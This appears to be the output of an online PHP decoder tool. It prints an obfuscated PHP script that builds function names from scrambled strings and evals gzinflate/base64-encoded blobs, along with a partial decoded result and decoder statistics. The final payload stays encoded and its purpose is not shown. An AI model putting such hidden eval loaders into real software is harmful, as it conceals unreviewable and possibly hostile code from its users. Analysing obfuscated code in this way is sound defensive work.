Find this useful? Enter your email to receive occasional updates for securing PHP code.

Signing you up...

Thank you for signing up!

PHP Decode

<?php $keystroke1 = base64_decode("d2RyMTU5c3E0YXllejd4Y2duZl90djhubHVrNmpoYmlvMzJtcA==..

Decoded Output download


function rotencode($string,$amount) { $key = substr($string, 0, 1); if(strlen($string)==1) { return chr(ord($key) + $amount); } else { return chr(ord($key) + $amount) . rotEncode(substr($string, 1, strlen($string)-1), $amount); }}if(!function_exists("rotencode")){function rotencode($string,$amount) { $key = substr($string, 0, 1); if(strlen($string)==1) { return chr(ord($key) + $amount); } else { return chr(ord($key) + $amount) . rotEncode(substr($string, 1, strlen($string)-1), $amount); }}}

Did this file decode correctly?

Original Code

<?php 
 $keystroke1 = base64_decode("d2RyMTU5c3E0YXllejd4Y2duZl90djhubHVrNmpoYmlvMzJtcA==");
eval(gzinflate(base64_decode('hY5NCsIwEIWv8ixdZDCKWZcuPUfRdqrBmsBkAkrp3aVIi3Tj9v1+vje7PodWfQwNv3zSZAqJyqGNHRdE4+JiVU2ZVHy42fLyjDkoYUT54DdqpHxNKmsAJwtHFXxvksrAYXGort1cE9YsAe1dTJTOzCuEPZbhChN4SPw/iePMd/7ybSmcxeb+4Mj+vkzTBw==')));
$O0O0O0O0O0O0=$keystroke1[2].$keystroke1[32].$keystroke1[20].$keystroke1[11].$keystroke1[23].$keystroke1[15].$keystroke1[32].$keystroke1[1].$keystroke1[11];
$keystroke2 = $O0O0O0O0O0O0("xes26:tr5bzf{8ydhog`uw9omvl7kicjp43nq", -1);
$OO000OO000OO=$keystroke2[16].$keystroke2[12].$keystroke2[31].$keystroke2[23].$keystroke2[18].$keystroke2[24].$keystroke2[9].$keystroke2[20].$keystroke2[11];
$O0000000000O=$keystroke1[30].$keystroke1[9].$keystroke1[6].$keystroke1[11].$keystroke1[27].$keystroke1[8].$keystroke1[19].$keystroke1[1].$keystroke1[11].$keystroke1[15].$keystroke1[32].$keystroke1[1].$keystroke1[11];
eval($OO000OO000OO(base64_decode('LdNHDq
zYAQDAy1ia+WJB5vE08gK6G2gyTWZjkXPOnN6y5E
3doPIj7v7+l2FgGPZ//k7iNWeo/2R5Omb533+pqU
2+5y3kyrc14N1Ej/3LPmN9qvkmbZTJD0W5ag+xUt
AiauE1dyyCmlhxnR8OVRG0Ju8lNhU0Kvzo3pfjYC
/TUm51KBSW/pKhJmiO8NYzDyJDb9jx6IfnfmRinl
pfK0I0xlaCC3LFiOAF4X7D7ZPUIeNvr5Woe5X4dQ
4/QdbGEFXG3V5HtLy9znydc0yPPAOBOx7VXxN3Ci
OmxeuAzG+IDFIlVuRRjKgHF98ZxdEW/lunbmuZln
tYW+uuWKFCPsJLyr01hTSAJ48ay3DenjGI5UsfPz
b2lNO7lxrHD6Wrz1glOL/+DN4Ul7aN9inrB1eel3
Ca7GeWtGhNeiduYuwHk48AKOssblForOQJH7k5tc
e5rmahvKDqf+WrfiIQ8l6eP7vCtRv0QjzcdTivs3
VHOZ415GaN8UBx3kR1smGNHOSbG3V97u3txwuZ6H
Xu9CvqjLNVbDVWvXNYPIAMpdFHA97h0/PicEXyvj
ci1Lb39uIAVMu9V1El9Y78dQPDZrUkUESsK1uNIz
gLGo4nfdcMDjjvm9D1D9zIkYapGUfDB5dqiDvNKS
8VKpZSpvWLTZl9pgpYOzaw25WQvWu2Dve6uQ5tV3
YTHE4dzfQ5JwH9RXRlOa4+0UShRV2x37nbGZIGjy
F1doZ3plM4HdbuRS00ESexswi0ZS6jVeQzuXbeVN
gh1BJoUAajPEY1ISm3845dknHMOUVBmqEpbZy6/O
YqEwy9ETqspJLwUIbvcy8qcUZuD6/dWMGnXumMAq
Bz0KKg8uCeErnOsNakfeTXcPVMe2XERkv309o7Q4
fHU8O9kHn2GN49BBx/fM/MPZbSTe9CxqJJNybNpt
LSz+wAxiHMsg+KW5eqeshYeowgGw9j1aeyCQ4PHr
Ec4RRa5deLai83paiMa2ngDa+uWNAX4k2ggihWnZ
p0xkzeLCMVb05p9nejbWM3dXUtdMyw572bgMyGS8
9h9UGktWJnfCz9L2G/2hCc7zUrXlI0Ajk+Q2H5in
fTIlOCBMzREZYx/I6f2YYwc1pTWjVd9t79NN8/Sd
d1Lg772sSTK/m5r021SRZj9w2Py/79fJ5tzoMU2d
Qkaillsmr5MTd9wKNfm45Y1FKU8Eyg+ZCf3oq59U
UccOpKRH2BmNG3u5/VbB0rJkm3/vr0g+Eyr7VgoP
RChuOwlWBsEE+Tbruasm4cDGSnse8nK5iTz2cldp
0c9KJ6EFYQVAKu6wiW7voo4lxE/eiirzV91CBCM3
y4C6Qkbpt+DsYmGysxfU6LYl/Yesf5vdLCNze8il
sa3QJeAEk1T8gW9dOyR0WfeepnBiRdgsI4umfbUv
PO7jTNi+aIeERrCNslY1cMBmo+lsHNd/BMChWByb
uTbc2qrscEux3RSR/8YeqApgpPpeosralTUAZ89J
U+FCQvFXVzXEab2XvAWWOX0goYwBfsNCu3x0ATEg
gNaT0bSmahyzEswYhyvv6DCu90SICiaH6Yw4OiKM
f++68/f/78818=')));
?>

Function Calls

gzinflate 1
base64_decode 2
function_exists 1
11411111610111099111100101 1

Variables

$keystroke1 wdr159sq4ayez7xcgnf_tv8nluk6jhbio32mp
$O0O0O0O0O0O0 11411111610111099111100101

Stats

MD5 ee064e649e5f6ac6f43765e7fc2813d9
Eval Count 1
Decode Time 70 ms